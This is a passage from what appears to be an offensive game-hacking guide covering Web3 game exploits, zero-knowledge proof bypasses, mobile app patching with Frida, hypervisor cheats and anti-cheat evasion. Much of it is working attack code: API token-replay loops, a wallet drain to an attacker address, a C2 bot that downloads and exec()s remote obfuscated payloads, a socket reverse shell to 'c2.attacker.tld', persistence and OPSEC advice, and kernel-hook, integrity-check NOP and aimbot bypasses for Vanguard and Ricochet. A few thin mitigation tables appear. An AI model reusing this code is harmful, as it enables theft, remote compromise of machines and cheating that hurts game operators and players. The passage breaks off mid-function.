Authorization: Bearer XYZ
for token in $(cat tokens.txt); do
curl -X POST https://game/api/v1/claimDrop -H "Authorization: Bearer $token"
done
In-Game Currency Inflation
Price Oracle Exploit
- Launch flash loan
- Manipulate ETH/USD temporarily
- Buy items at incorrect valuation
Wallet Integration Abuse
ethereum.request({
method: 'eth_sendTransaction',
params: [{
to: '0xattacker',
value: '0xFFFFFFFFFFFFFFF',
gas: 21000
}]
});
Red Team / CTF Use Cases
| Exploit | Effect |
|---|---|
| Duplicate NFT | Unlimited rare item cloning |
| Unauthorized mint | Create ultra-powerful weapons |
| Currency abuse | Inflate gold/tokens |
| API replay | Loot claim replays |
Detection + Prevention (Defensive Devs)
| Vector | Mitigation |
|---|---|
| Smart Contract | Use onlyOwner / require() checks |
| NFT APIs | Use nonce or anti-replay tokens |
| Unity Wallets | Validate signature + timestamp |
| Oracles | Use median + TWAP, not single source |
Zero-Knowledge Game Proofs (zk-Gaming)
Zero-Knowledge Proofs (ZKPs) — especially zk-SNARKs and zk-STARKs — are now used in Web3 games to verify game logic, moves, and state transitions without revealing the underlying data. This section breaks down how they work, how to identify them in use, and how attackers may abuse or bypass them.
What Are zk-SNARKs / zk-STARKs?
| Concept | Description |
|---|---|
| zk-SNARK | Zero-Knowledge Succinct Non-Interactive Argument of Knowledge |
| zk-STARK | Scalable Transparent Argument of Knowledge (STARK = no trusted setup) |
| Purpose | Allows a party to prove knowledge of a state or computation without revealing it |
| Use in games | Verifying game actions, scores, or resources off-chain then committing proof on-chain |
Use Cases in Web3 Gaming
| Use Case | zk Purpose | Example |
|---|---|---|
| PvP move verification | Ensure actions are valid without revealing tactics | Private turn in a card battle game |
| Anti-cheat verification | Ensure a player followed physics/move rules | zk-proof of path validity in racing |
| RNG proofs | Ensure fair randomization | zk-RNG proof of loot roll |
| Score submission | Prevent falsified high scores | zk-proof of valid gameplay + result |
| Asset creation | Guarantee valid NFT minting | zk-proof of crafting or merging |
How to Detect Zero-Knowledge Proofs in Games
On-chain Signs
Smart contracts referencing verifier contracts (often generated via ZoKrates, Circom, or Cairo)
Solidity functions like:
function verifyProof(...) public view returns (bool)
Contracts using libraries like:
Verifier.sol(ZoKrates)Plonk.sol,Groth16.solSTARKVerifier.sol(Starkware)
Run:
myth analyze contract.sol
slither verifyProof --detect-constant-function
Frontend / Client Clues
Web3 game clients (JavaScript/TypeScript) loading .zkey, .wasm, or .proof.json files.
Use of:
import { groth16 } from "snarkjs"
groth16.fullProve(input, wasmPath, zkeyPath)
Proof payload sent via HTTP to /submitScore or /submitProof
Example: zk-SNARK in Score Submission
Game Flow (Simplified):
- Player finishes game
- Client generates zk-proof locally
- Sends proof to smart contract
- Contract verifies proof before recording score
Verifier Snippet (Solidity):
function submitScore(bytes memory proof, uint[] memory publicSignals) public {
require(verifier.verifyProof(proof, publicSignals), "Invalid proof");
scores[msg.sender] = publicSignals[0];
}
Internals: zk-SNARK Components
| Component | Role |
|---|---|
| Circuit | Describes logic to be proven (e.g., game score validity) |
| Prover | Generates proof from private + public inputs |
| Verifier | Checks the proof’s validity using public input |
| Trusted Setup | Generates cryptographic keys for prover/verifier |
How to Attack or Bypass
1. Client-Side Proof Forging
If proofs are generated client-side, reverse-engineer WASM or zkey logic.
// Normally
await groth16.fullProve(validInput, "circuit.wasm", "key.zkey")
// Maliciously
await groth16.fullProve(modifiedInput, "tampered_circuit.wasm", "forged_key.zkey")
2. Weak Circuit Logic
Example:
signal input score;
signal input cheatCode;
signal output isValid;
isValid <== cheatCode * 0 + score == expectedScore; // 💥 flawed logic
3. Replay Proof Attack
Reused public inputs (e.g., static RNG seed) → replayable proof.
Fix: Include session ID, player address, or nonce in public signals.
4. Verifier Contract Injection
Look for unsafe delegatecall, dynamic verifier contracts.
Run:
mythril --solc-args --ast-compact-json target.sol
Advanced Vector: zk-STARK vs zk-SNARK
| Feature | zk-SNARK | zk-STARK |
|---|---|---|
| Trusted Setup | ✅ Required | ❌ No trusted setup |
| Proof Size | Small (100s B) | Large (~100 KB) |
| Verification | Fast | Slower |
| Tooling | ZoKrates, Circom | Cairo, Starknet |
| Use in Games | Card games, RNG, scores | High-complexity logic (PvP, path) |
Tools You Can Use
| Tool | Use Case |
|---|---|
| ZoKrates | zk-SNARK circuit definition and proof generation |
| Circom | Write custom proof circuits (used by TornadoCash) |
| snarkjs | Generate proofs in JS for web-based zk clients |
| Cairo | zk-STARK language (used in Starknet) |
| Noir | Aztec’s Rust-based zk circuit DSL |
| zkrepl.dev | Live REPL for zk circuits |
Mitigation / Hardening (for defenders)
| Threat | Mitigation |
|---|---|
| Proof tampering | Verify full public input hash on-chain |
| Replay proof | Add per-session randomness or block height |
| Weak constraints | Audits + formal circuit verification tools |
| Contract substitution | Avoid delegatecall, verify codehash |
Summary
-
zk-SNARKs & zk-STARKs are used to verify private player actions or game logic without revealing secrets
-
Attack surface lies in client-side proof generation, weak constraints, replayability, and contract architecture
-
Understanding zk circuits is essential for next-gen exploit and audit work in Web3 games
Remote Control / Command-and-Control Bots (C2 Bots)
Simulating advanced adversary tradecraft in bot management and control using command-and-control (C2) infrastructure. While these techniques resemble malware TTPs, they are crucial for Red Team operations and security research.
Threat Modeling and Use Case
| Use Case | Implementation | Red Team Equivalent |
|---|---|---|
| Modify farming route | Fetch new waypoints from C2 server | Stager / pull-based beacon |
| Change logic remotely | Load new scripts/DLLs over HTTP | Cobalt Strike artifact exec |
| Trigger bot actions | Polling or webhook trigger | HTTP reverse beacon |
| Persist config after reboot | Store in %APPDATA%, ADS, Task Scheduler | RAT-style persistence |
| Send loot logs/telemetry | Discord/TG webhook or POST exfil | Covert exfiltration |
Remote-Controlled Game Bot Skeleton
# C2Bot.py
# Pulls config from remote C2, loads logic, and executes
import requests
import time
import ctypes
CONFIG_URL = "https://yourdomain.com/config.json"
def fetch_config():
try:
res = requests.get(CONFIG_URL, timeout=5)
if res.status_code == 200:
return res.json()
except Exception as e:
print("[-] Failed to fetch config:", e)
return {}
def load_and_exec(payload_url):
try:
script = requests.get(payload_url, timeout=5).text
exec(script, globals())
except Exception as e:
print("[-] Failed to load payload:", e)
if __name__ == "__main__":
while True:
cfg = fetch_config()
if "payload" in cfg:
print("[+] Loading payload from:", cfg["payload"])
load_and_exec(cfg["payload"])
time.sleep(cfg.get("interval", 60))
Config Example (config.json)
{
"payload": "https://yourdomain.com/logic/minerbot.py",
"interval": 60,
"trigger": "enabled"
}
payload: remote script or logicinterval: polling frequencytrigger: activation flag
Advanced Features to Add
-
Hot-Swap Logic:
import importlib # or use exec() for dynamic logic reload -
XOR-Encoded Payloads:
def decode_payload(x): return ''.join(chr(ord(c) ^ 0x55) for c in x) script = decode_payload(requests.get(url).text) exec(script) -
C2 Over Webhooks:
import requests def report(event): requests.post("https://discord.com/api/webhooks/...", json={ "username": "BotStatus", "content": f"[+] {event}" }) report("Bot started.")
Anti-Detection / Stealth
| Technique | Purpose | Sample Code |
|---|---|---|
| String obfuscation | Avoid static scans | ''.join([chr(x) for x in [...]]) |
| Runtime decryption | Delay detection | XOR/RC4 encoded payload |
| Sleep jittering | Behavioral stealth | time.sleep(random.randint(...)) |
| GitHub raw URL hosting | Public payload delivery | raw.githubusercontent.com/... |
Persistence Tactics
| Platform | Method | Description |
|---|---|---|
| Windows | Registry Run key | Auto-start on boot |
| Windows | Task Scheduler | Survives reboot |
| Linux | .bashrc, systemd | Re-exec on login |
| All | %APPDATA%, .cache | Hidden dir deployment |
Defensive Use (Red Team / Research Mode)
Use these bots to:
- Study network forensics of C2 systems
- Test SIEM and EDR detection
- Train defenders with bot orchestration demos
- Deploy honeypot bots to observe anti-cheat behavior
OPSEC + Detection Risk
| Risk | Mitigation |
|---|---|
| Payload host flagged | Rotate GitHub repos / use custom domain |
| Static URL/IP flagged | Cloudflare or dynamic DNS |
| exec() payload analysis | PyInstaller or logic obfuscation |
| Webhook fingerprinting | Burner Discord/TG bots |
Bonus: Socket-Based C2 Bot Skeleton
import socket
import subprocess
HOST = 'c2.attacker.tld'
PORT = 8080
while True:
try:
with socket.socket() as s:
s.connect((HOST, PORT))
while True:
cmd = s.recv(1024).decode()
if cmd.lower() == "exit": break
out = subprocess.getoutput(cmd)
s.send(out.encode())
except Exception as e:
time.sleep(60)
Persistent Pathfinding and Resource Bots
Enable repeatable, map-accurate automation for farming, mining, and patrols.
Capabilities
- Memory-mapped or screen-based path recording & replay
- Navigation scripting (waypoints, turning angles, XYZ control)
- Collision & stuck detection logic
- Persistence across sessions (auto relog/reconnect)
- OCR- or memory-based inventory/tool status
- Timer syncing with in-game events or zones
Example Path Record Script (pymem + hotkeys)
import keyboard
coords = []
while True:
if keyboard.is_pressed('F9'):
x, y, z = read_coords_from_memory()
coords.append((x, y, z))
print("Waypoint:", x, y, z)
if keyboard.is_pressed('F10'):
replay_path(coords)
Action Triggers (Mining / Loot)
- Screen pixel check: glowing resource nodes
- Hook
TryUseSkill()orInteract()calls in Unity/Lua/MMOs - Use OCR for cooldown or durability checks
void TryUseSkill(SkillSlot slot) {
if (slot.ready && target.distance < range)
slot.Activate();
}
Event-Aware Bots
- Time-based patrols or event triggers (Dolmens, invasions)
- Detect zone transitions, NPC dialogue, or time-of-day
- Hook
ScheduleNextEvent()or usetime.sleep()delay logic
Visual Detection (OpenCV / YOLO)
- Template Matching Example:
matches = cv2.matchTemplate(screen, template, cv2.TM_CCOEFF_NORMED)
- YOLOv7 Real-Time Inference:
results = model(screen)
if results.pandas().xyxy[0]:
act()
Anti-Ban Stealth
- Slight delay randomization
- Offset each run’s path slightly
- Pause loops randomly
- Rotate server/logins
Mobile Game Hacking (Android and iOS)
Explore the offensive security techniques and reverse engineering approaches used to dissect, modify, and automate mobile games. This section covers app decompilation, runtime instrumentation, anti-cheat bypassing, and automation using modern tools like Frida, Magisk, APKTool, and more.
Primary focus: Android (APK) and iOS (IPA) game hacking for educational, red teaming, and CTF purposes only.
Overview
| Platform | Technique | Tools |
|---|---|---|
| Android | APK reverse engineering | APKTool, jadx, Ghidra |
| Android | Runtime hooking | Frida, Magisk, ptrace |
| iOS | Jailbreak + class dumping | Frida, Hopper, LLDB |
| All | Input automation & bots | AutoTouch, ADB, Appium |
| All | Anti-cheat bypassing | Root/Jailbreak detection evasion |
APK Reverse Engineering (Android)
APK Decompilation (Beginner)
Tools Required
- apktool
- jadx
- Java Decompiler
- dex2jar
Workflow
apktool d mygame.apk -o mygame_dec/
jadx mygame.apk # GUI decompiler
Explore smali/ files or Java classes:
Look for onPurchase(), checkGold(), inventoryManager, etc.
Patch logic like:
invoke-static {v0}, Lcom/game/store/CheckPurchase;->isAllowed()Z
move-result v1
if-eqz v1, :original_code
const/4 v1, 0x1 # Always allow
Smali Modification (Intermediate)
Patch APK logic via smali edits:
.method public isRooted()Z
.registers 2
const/4 v0, 0x0 # Force "not rooted"
return v0
.end method
Rebuild & resign:
apktool b mygame_dec/ -o modded.apk
jarsigner -keystore my-release-key.keystore modded.apk alias_name
adb install -r modded.apk
Frida for Android and iOS (Dynamic Instrumentation)
Setup (Android)
- Rooted or Magisk-enabled phone
- Install frida-server matching phone architecture
Push and run:
adb push frida-server /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server && ./data/local/tmp/frida-server &"
On host:
frida -U -n com.example.game
Example: Hooking Currency Function
Java.perform(function() {
var GameUtils = Java.use("com.example.game.CurrencyManager");
GameUtils.getCoins.implementation = function() {
console.log("[+] Hooked getCoins!");
return 999999;
};
});
Hot reloadable without repackaging the APK.
Frida on iOS (Advanced)
- Jailbreak device with Checkra1n or TrollStore-compatible firmware
- Install frida via Cydia or Sileo
Attach to process:
frida -U -n MyGame
Hook Objective-C methods:
ObjC.schedule(ObjC.mainQueue, function() {
var cls = ObjC.classes.InAppPurchaseManager;
var sel = 'checkTransaction:';
Interceptor.attach(cls[sel].implementation, {
onEnter: function(args) {
console.log("[*] Intercepted in-app purchase:", ObjC.Object(args[2]));
}
});
});
Android Root Detection Bypass
Common detection flags:
Build.TAGScontainstest-keyssubinary in/system/bin/- Magisk modules
- Access to
frida-server
Frida Hook Example: Disable Root Checks
Java.perform(function () {
var RootCheck = Java.use("com.example.anticheat.Checks");
RootCheck.isDeviceRooted.implementation = function () {
return false;
};
});
Magisk Hide + Zygisk Modules
- Use MagiskHidePropsConf to spoof build fingerprint
- Use Zygisk + Shamiko to hide root from Zygote-initialized apps
iOS Jailbreak Detection Bypass
Typical Checks:
fileExistsAtPath("/Applications/Cydia.app")canOpenURL("cydia://")fork(),getppid(),sysctl
Frida Hook (iOS)
Interceptor.attach(Module.findExportByName(null, "stat"), {
onEnter(args) {
var path = Memory.readUtf8String(args[0]);
if (path.indexOf("Cydia") !== -1) {
Memory.writeUtf8String(args[0], "/fakepath");
}
}
});
Mobile Input Automation and Bots
Android Automation
Tools:
- ADB + scrcpy + Python
- AutoInput + Tasker
- MonkeyRunner
- uiautomator
Example: Tap Resource Nodes with Python + ADB
import os, time
while True:
os.system("adb shell input tap 540 1200")
time.sleep(1.5)
iOS Automation (Jailbreak Required)
Tools:
- AutoTouch / TouchRecorder
- XCUITest (requires dev access)
- lldb input spoofing
Advanced Tactics
| Technique | Description | Platform |
|---|---|---|
| Inline Native Hooking | Hook libil2cpp.so, libunity.so | Android |
| Class Dumping | Dump all classes from ObjC runtime | iOS |
| Patch In-Memory Data | Use Frida.Memory.write*() for RAM edits | All |
| Runtime Memory Scanning | Use Frida to find health/coin vars | Android |
| Emulator Bypass | Patch ro.hardware and sensors | Android |
Anti-AntiCheat and Evasion
| Detection Type | Evasion Technique |
|---|---|
| Magisk detection | Use Zygisk + Shamiko |
| Root binaries | Rename su, hide mounts |
| Debugger attach | Patch ptrace() via Frida |
| Frida detection | Rename frida-server, patch symbol calls |
| Jailbreak (iOS) | Use libhooker, patch fileExistsAtPath() |
VM-Level Cheats using EPT, NPT, and Bluepill
By using hardware-assisted virtualization, we can intercept and manipulate game memory without directly modifying it — enabling powerful cheat capabilities while evading detection by anti-cheat systems like BattleEye, Vanguard, or EAC.
This class of cheats resides below the kernel, using hypervisors and page table remapping (EPT/NPT) to view and/or manipulate memory from another ring (Ring -1) — below Ring 0.
Core Concepts
| Term | Description |
|---|---|
| EPT (Intel) | Extended Page Tables — allows second-level address translation in VM |
| NPT (AMD) | Nested Page Tables — same purpose as EPT but for AMD-V |
| Bluepill | A rootkit or hypervisor that silently loads under the host OS |
| Ring -1 | Privilege level used by hypervisors (below kernel Ring 0) |
| VMX / SVM | Intel and AMD virtualization instructions (vmxon, vmexit, etc.) |
| VMM | Virtual Machine Monitor (a.k.a. hypervisor, either custom or KVM/Hyper-V) |
Use Cases in Game Hacking
- External ESP Overlays
- Read-Protected Pages
- Undetectable Memory View
- Runtime Memory Redirection
- Full Memory Timeline
How It Works: EPT Memory View (Intel)
+---------------------+ +-----------------------------+
| Guest Virtual Addr | ---> | Guest Physical Addr (GPA) |
+---------------------+ +-----------------------------+
↓
+---------------------+
| Host Physical Addr |
+---------------------+
Techniques
1. Custom Hypervisor (KVM, Bare-metal, SimpleVisor)
- Sets EPT/NPT permissions
- Logs reads/writes
- Triggers VMExit
Projects: SimpleVisor, Hvpp, LibVMI
2. Hyper-V Based External ESP
- Run game in Hyper-V
- Read memory from host using LibVMI
3. Memory Redirection via EPT Hooks
// EPT hook concept
setup_ept_hook(target_gpa, callback_on_readwrite);
4. Bluepill Hypervisor Injection
- vmxon to activate VMX root mode
- Live patching without drivers
Anti-Detection Advantages
| Feature | Traditional Cheat | VM-Level Cheat |
|---|---|---|
| Requires driver | ✅ | ❌ |
| Visible to AV | ✅ | ❌ |
| Touches game RAM | ✅ | ❌ |
| Bypasses PatchGuard | ❌ | ✅ |
| Hooks detected | ✅ | ❌ |
Advanced Applications
- Shadow Memory
- Page Fault ESP
- Instruction Hooks
- DMA Isolation
Tooling Ecosystem
| Tool | Purpose |
|---|---|
| SimpleVisor | EPT hypervisor |
| hvpp | VT-x engine |
| LibVMI | VM memory introspection |
| DRAKVUF | Xen-based tracer |
| HyperDbg | VM debugger |
| Bareflank | C++ hypervisor framework |
Real-World Exploit Flow: Silent ESP via LibVMI
# Setup VM
virsh start game-vm
# Attach to memory
vmi = Libvmi("game-vm")
addr = vmi.translate_ksym("PlayerStruct")
# Read loop
while True:
coords = vmi.read(addr, 12)
draw_esp(coords)
Research Tips
- Use VT-d to bypass DMA protection
- Trace VMEXITs to understand timing
- EPTP list: swap memory views
- EPT dirty bits: side-channel memory usage
Anti-AntiCheat Signatures and Patches
This section provides a detailed framework for countering detection mechanisms employed by anti-cheat systems like Battleye, EasyAntiCheat (EAC), Vanguard, and others.
Why This Matters
Anti-cheat systems don’t just detect cheat software; they identify cheating behavior and cheat footprints.
| Type | Detection Method | Examples |
|---|---|---|
| Signature | Static strings/hashes | cheat.dll, function stubs |
| Behavioral | Timing, input | Perfect recoil, pixel aim |
| Memory | Page access, patching | NOP’d cooldowns, IAT hooks |
| Syscall | API call graphs | NtReadVirtualMemory |
| Kernel | SSDT, IRP, callbacks | Driver list, PsSet callbacks |
File Signature Detection (Static)
Anti-cheat scans memory for static patterns or hashes.
Common Flagged Strings
| Pattern | Anti-Cheat | Notes |
|---|---|---|
| "LoadLibraryA" | All | Classic DLL injection |
| "GetAsyncKeyState" | EAC, Vanguard | Keylogger, ESP detection |
| "SetWindowsHookEx" | Battleye, EAC | Global input hook |
| "CheatEngine" | All | Memory/window title scan |
| "NtOpenProcess" | Vanguard | Syscall flagging |
| "CreateToolhelp32Snapshot" | Battleye | Process/thread enum |
Mitigation Techniques
-
String Obfuscation:
const char* LLA = "\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41"; -
Dynamic API Resolution:
FARPROC GetAPIByHash(DWORD hash) { /* Export table walker */ } -
Polymorphic Code: Self-modifying shellcode.
IAT and EAT Hook Detection
Anti-cheat systems inspect import/export tables.
Detection Example
FARPROC* pIAT = (FARPROC*)(base + offset);
if ((uintptr_t)(*pIAT) != GetProcAddress(GetModuleHandle("user32.dll"), "MessageBoxA"))
// Hooked!
Mitigation
- Rebuild IAT after injection.
- Inline hooks instead of IAT.
- Stealth trampolines:
original_code: mov r10, rcx mov eax, [syscall_id] stealth_gate: jmp qword [rel hidden_handler] hidden_handler: dq 0xDEADBEEFCAFEBABE
Memory Signature Detection
Anti-cheat systems use AOB scanning for known patterns.
Example: ESP Hook
// Original
call dword ptr [eax+0x70]
// Hooked
jmp myESPOverlay
Mitigation
- Trampoline hooks
- Encoded shellcode
- Cloaking memory:
void cloak_memory_region(void* addr, size_t size) { // Use shadow memory and hide with PTE changes }
Process-Level Detection (PEB/Handles)
Anti-cheat may inspect:
- PEB module list
NtQuerySystemInformationNtQueryObjectEnumWindowsfor cheat UIs
Evasion Examples
-
Unlink from PEB:
PLIST_ENTRY InMemoryOrder = &peb->Ldr->InMemoryOrderModuleList; InMemoryOrder->Flink->Blink = InMemoryOrder->Blink; InMemoryOrder->Blink->Flink = InMemoryOrder->Flink; -
Hide Window:
HWND hWnd = FindWindow(NULL, L"Cheat Engine 7.5"); if (hWnd) ShowWindow(hWnd, SW_HIDE); -
Block Handle Inspection:
if (ObjectType == ObjectTypeInformation && IsOurHandle(handle)) { return STATUS_INVALID_HANDLE; }
Kernel-Mode Detection (SSDT, IRP, Callbacks)
Detection points:
- IRP callbacks on \Device\KeyboardClass0
- SSDT hooks (e.g.,
NtReadVirtualMemory) - Kernel object notify routines
Mitigation
-
Direct Syscalls:
void* ZwReadVirtualMemory = get_syscall_address(0x3F); -
Unregister Callbacks:
ObUnRegisterCallbacks(MyHandle); -
Hypervisor Execution:
void execute_protected(void* code, size_t size) { enter_vmx_operation(); load_encrypted_payload(code, size); set_vmcs_field(VMCS_GUEST_RIP, encrypted_entry); resume_guest(); }
Behavioral Detection Bypass
Flagged patterns:
| Behavior | Reason |
|---|---|
| No recoil | Inhuman precision |
| 1ms reaction | Scripted macros |
| Perfect aim | Triggerbots |
| Static movement | Bot detection |
Mitigation Techniques
- Add jitter and randomized delay
- GAN-generated Inputs:
from gan_input import BehavioralGAN bot = BehavioralGAN(model="cs2_pro_player.gan") while gaming: real_input = capture_mouse_movement() stealth_input = bot.generate(real_input, variance=0.3) send_input(stealth_input)
Anti-Screenshot and Video Detection
Anti-cheats may call BitBlt, GetRenderTargetData, or kernel video functions.
Bypass Examples
-
BitBlt Hook:
BOOL BitBltHook(...) { if (IsBeingCaptured()) return FALSE; return OriginalBitBlt(...); } -
Context-Aware Rendering:
HRESULT __stdcall hkPresent(...) { if (is_capture_active()) { clean_render_target(); auto hr = oPresent(...); restore_render_target(); return hr; } render_esp(); return oPresent(...); }
Anti-AntiCheat Summary Table
| Layer | Defense Mechanism | Bypass Technique |
|---|---|---|
| Usermode | API hooks, title scans | API hashing, string obfuscation |
| Memory | AOB, signature scans | Encoded shellcode, trampolines |
| Kernelmode | SSDT, IRP, callbacks | Direct syscalls, VM hiding |
| Behavioral | Input timing, aim paths | Jitter, GAN emulation |
| Forensics | Screenshots, video frames | Frame guards, present hooks |
Quantum Computing Assisted Game Hacking
Harness the power of quantum mechanics to revolutionize game hacking techniques. While practical quantum computers are not yet widely available, understanding these concepts prepares you for the potential future of cybersecurity.
Quantum Algorithms for Game Hacking
-
Grover's Algorithm: Accelerate brute-force searches quadratically. Ideal for cracking passwords, encryption keys, or finding hidden memory addresses.
Example: Searching a key space of N elements takes O(√N) time instead of O(N).
-
Shor's Algorithm: Factor large integers exponentially faster than classical computers, breaking RSA encryption used in DRM and network protocols.
-
Quantum Annealing: Solve optimization problems (e.g., pathfinding for bots, resource allocation) more efficiently.
Quantum-Enhanced Analysis
- Quantum Simulation: Simulate game physics engines (e.g., Havok, PhysX) at unprecedented speeds.
- Quantum Machine Learning (QML): Train neural networks for aimbots or decision-making bots exponentially faster.
- QML for Aimbots: Use quantum convolutional neural networks (QCNNs) for near-instant target acquisition.
- Quantum Fuzzing: Use quantum algorithms to generate more effective test cases.
Quantum-Resistant Hacking
- Post-Quantum Cryptography (PQC): Study lattice-based, hash-based, and multivariate cryptographic schemes as games adopt PQC.
- Quantum Key Distribution (QKD): Understand how games might implement QKD and explore theoretical bypass strategies.
Experimental Toolchain
| Tool/Framework | Purpose |
|---|---|
| Qiskit (IBM) | Quantum circuit simulation and algorithm development |
| Cirq (Google) | Framework for NISQ quantum computing |
| PennyLane | Quantum machine learning, hybrid models |
| Microsoft Quantum Dev Kit | Q# programming for quantum applications |
Example: Grover's Algorithm for Key Search
from qiskit import QuantumCircuit, Aer, execute
from qiskit.visualization import plot_histogram
import numpy as np
# Define the oracle for the secret key (e.g., 110)
def oracle(circuit, secret_key):
for i, bit in enumerate(secret_key):
if bit == '1':
circuit.x(i)
circuit.cz(0, 2)
for i, bit in enumerate(secret_key):
if bit == '1':
circuit.x(i)
# Grover's algorithm setup
n = 3 # Number of qubits (for 3-bit key)
grover_circuit = QuantumCircuit(n, n)
# Initialize superposition
grover_circuit.h(range(n))
# Apply oracle and diffusion operator
iterations = int(np.ceil(np.sqrt(2**n)))
for _ in range(iterations):
oracle(grover_circuit, '110')
grover_circuit.h(range(n))
grover_circuit.x(range(n))
grover_circuit.h(n-1)
grover_circuit.mct(list(range(n-1)), n-1) # Multi-controlled Toffoli
grover_circuit.h(n-1)
grover_circuit.x(range(n))
grover_circuit.h(range(n))
### Measure
grover_circuit.measure(range(n), range(n))
# Simulate
simulator = Aer.get_backend('qasm_simulator')
result = execute(grover_circuit, simulator, shots=1024).result()
counts = result.get_counts()
print(counts) # Should show '110' with high probability
Challenges and Limitations
- NISQ Limitations: Current quantum computers are noisy and have limited qubits.
- Algorithm Maturity: Many quantum algorithms are still in the theoretical stage.
- Access: Hardware is expensive and primarily cloud-based (IBM, AWS, Azure Quantum).
Future Outlook
- Hybrid Approaches: Combine classical + quantum computing for optimization and ML.
- Quantum Cloud Services: Use cloud-based quantum hardware for cryptanalysis.
- Game Security Evolution: Expect PQC in games and research preemptive bypasses.
Modern Anti-Cheat Deep Dives (2024-2026)
Advanced anti-cheats employ ring-0 drivers, ML behavioral detection, screenshot analysis, and virtualization-based security. This section covers bypass techniques for modern systems.
Vanguard (Valorant / League of Legends)
Vanguard runs at ring-0 from boot, uses signed driver (vgk.sys), and performs continuous integrity checks.
Architecture
- vgc.exe (user-mode client) + vgk.sys (kernel driver)
- Loads at boot via ELAM (Early Launch Anti-Malware)
- TPM 2.0 integration for secure boot attestation
- TLS callbacks for pre-main initialization checks
- CPUID checks for hypervisor detection
Detection Vectors
// Checks for test-signing mode
SYSTEM_CODEINTEGRITY_INFORMATION sci;
NtQuerySystemInformation(SystemCodeIntegrityInformation, &sci, sizeof(sci), NULL);
if (sci.CodeIntegrityOptions & CODEINTEGRITY_OPTION_TESTSIGN) {
// Flag as vulnerable system
}
// Scans for vulnerable drivers (Capcom.sys, dbutil_2_3.sys, etc.)
HANDLE hDriver = CreateFileW(L"\\\\.\\Capcom", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDriver != INVALID_HANDLE_VALUE) {
// Vulnerable driver detected - terminate game
}
Bypass Strategies
1. Boot-Time Driver Signing Bypass
// Exploit HVCI weakness via custom signed driver
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
// Register driver unload
DriverObject->DriverUnload = UnloadDriver;
// Hook kernel functions before Vanguard loads
PVOID pNtQuerySystemInformation = GetKernelProcAddress("NtQuerySystemInformation");
HookKernelFunction(pNtQuerySystemInformation, Hook_NtQuerySystemInformation);
return STATUS_SUCCESS;
}
2. CPUID Hypervisor Masking
; Patch CPUID check in VM to hide hypervisor bit
mov eax, 1
cpuid
and ecx, 0x7FFFFFFF ; Clear bit 31 (hypervisor present)
3. TLS Callback Patching
// Disable TLS callbacks before game launches
PIMAGE_TLS_DIRECTORY pTLS = GetTLSDirectory(hModule);
if (pTLS && pTLS->AddressOfCallBacks) {
DWORD oldProtect;
VirtualProtect((LPVOID)pTLS->AddressOfCallBacks, sizeof(DWORD_PTR), PAGE_READWRITE, &oldProtect);
*(DWORD_PTR*)pTLS->AddressOfCallBacks = 0; // Nullify callbacks
VirtualProtect((LPVOID)pTLS->AddressOfCallBacks, sizeof(DWORD_PTR), oldProtect, &oldProtect);
}
4. Memory Integrity Bypass
import pymem
pm = pymem.Pymem("VALORANT-Win64-Shipping.exe")
# Find integrity check routine
integrity_check_pattern = rb"\x48\x89\x5C\x24\x08\x57\x48\x83\xEC\x20\x48\x8B\xD9\xE8"
integrity_check_addr = pm.pattern_scan_all(integrity_check_pattern)[0]
# NOP out the check
pm.write_bytes(integrity_check_addr, b'\x90' * 14, 14)
Ricochet (Call of Duty: Warzone / MW2/3)
Ricochet uses kernel driver + server-side ML analysis of player behavior, including screenshot hashing.
Detection Methods
- ML Behavioral Analysis: Movement patterns, aim smoothness, reaction times
- Screenshot Hashing: Periodic screen captures hashed and sent to server
- Memory Scanning: Kernel driver scans for known cheat signatures
- Driver Integrity: Validates all loaded drivers against whitelist
Server-Side Detection
# Ricochet analyzes telemetry for statistical anomalies
def detect_aimbot(player_data):
# Check for inhuman aim correction
aim_deltas = [abs(shot['aim_x'] - prev['aim_x']) for shot, prev in zip(player_data[1:], player_data[:-1])]
# Flag if aim deltas show robotic precision
if np.std(aim_deltas) < 0.5 and np.mean(aim_deltas) > 50:
return True # Likely aimbot
# Check for pixel-perfect headshot rate
headshot_rate = sum(1 for shot in player_data if shot['hitbox'] == 'head') / len(player_data)
if headshot_rate > 0.75:
return True
return False
Bypass Techniques
1. Screenshot Detection Evasion
// Hook BitBlt/StretchBlt to detect screenshot capture
BOOL WINAPI Hook_BitBlt(HDC hdcDest, int x, int y, int cx, int cy, HDC hdcSrc, int x1, int y1, DWORD rop) {
// Detect if capturing from screen DC
if (GetObjectType(hdcSrc) == OBJ_DC) {
// Clean up ESP overlays before capture
CleanESPOverlay();
}
return Original_BitBlt(hdcDest, x, y, cx, cy, hdcSrc, x1, y1, rop);
}
// Alternative: Render ESP in separate overlay window excluded from capture
HWND CreateESPWindow() {
HWND hwnd = CreateWindowEx(
WS_EX_TRANSPARENT | WS_EX_LAYERED | WS_EX_TOPMOST | WS_EX_NOACTIVATE,
"Static", NULL, WS_POPUP, 0, 0, 1920, 1080, NULL, NULL, NULL, NULL
);
SetLayeredWindowAttributes(hwnd, RGB(0, 0, 0), 0, LWA_COLORKEY);
SetWindowDisplayAffinity(hwnd, WDA_EXCLUDEFROMCAPTURE); // Exclude from screenshots
return hwnd;
}
2. Behavioral Humanization
import numpy as np
from scipy import interpolate
class HumanizedAimbot:
def __init__(self):
self.noise_factor = 0.15
self.smoothing = 8
def calculate_aim_path(self, current_pos, target_pos):
# Add realistic aim curve with overshoot
direct_delta = np.array(target_pos) - np.array(current_pos)
distance = np.linalg.norm(direct_delta)
# Human-like overshoot (proportional to distance)
overshoot = distance * np.random.uniform(0.05, 0.15)
overshoot_angle = np.random.uniform(-0.3, 0.3)
# Create bezier curve
control_point = current_pos + direct_delta * 0.6 + overshoot * np.array([np.cos(overshoot_angle), np.sin(overshoot_angle)])
# Interpolate smooth path
t = np.linspace(0, 1, self.smoothing)
path = np.array([(1-ti)**2 * current_pos + 2*(1-ti)*ti * control_point + ti**2 * target_pos for ti in t])
# Add micro-jitter
noise = np.random.normal(0, self.noise_factor, (self.smoothing, 2))
return path + noise
3. Kernel Driver Detection Bypass
// Hide from driver enumeration
NTSTATUS Hook_NtQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
) {
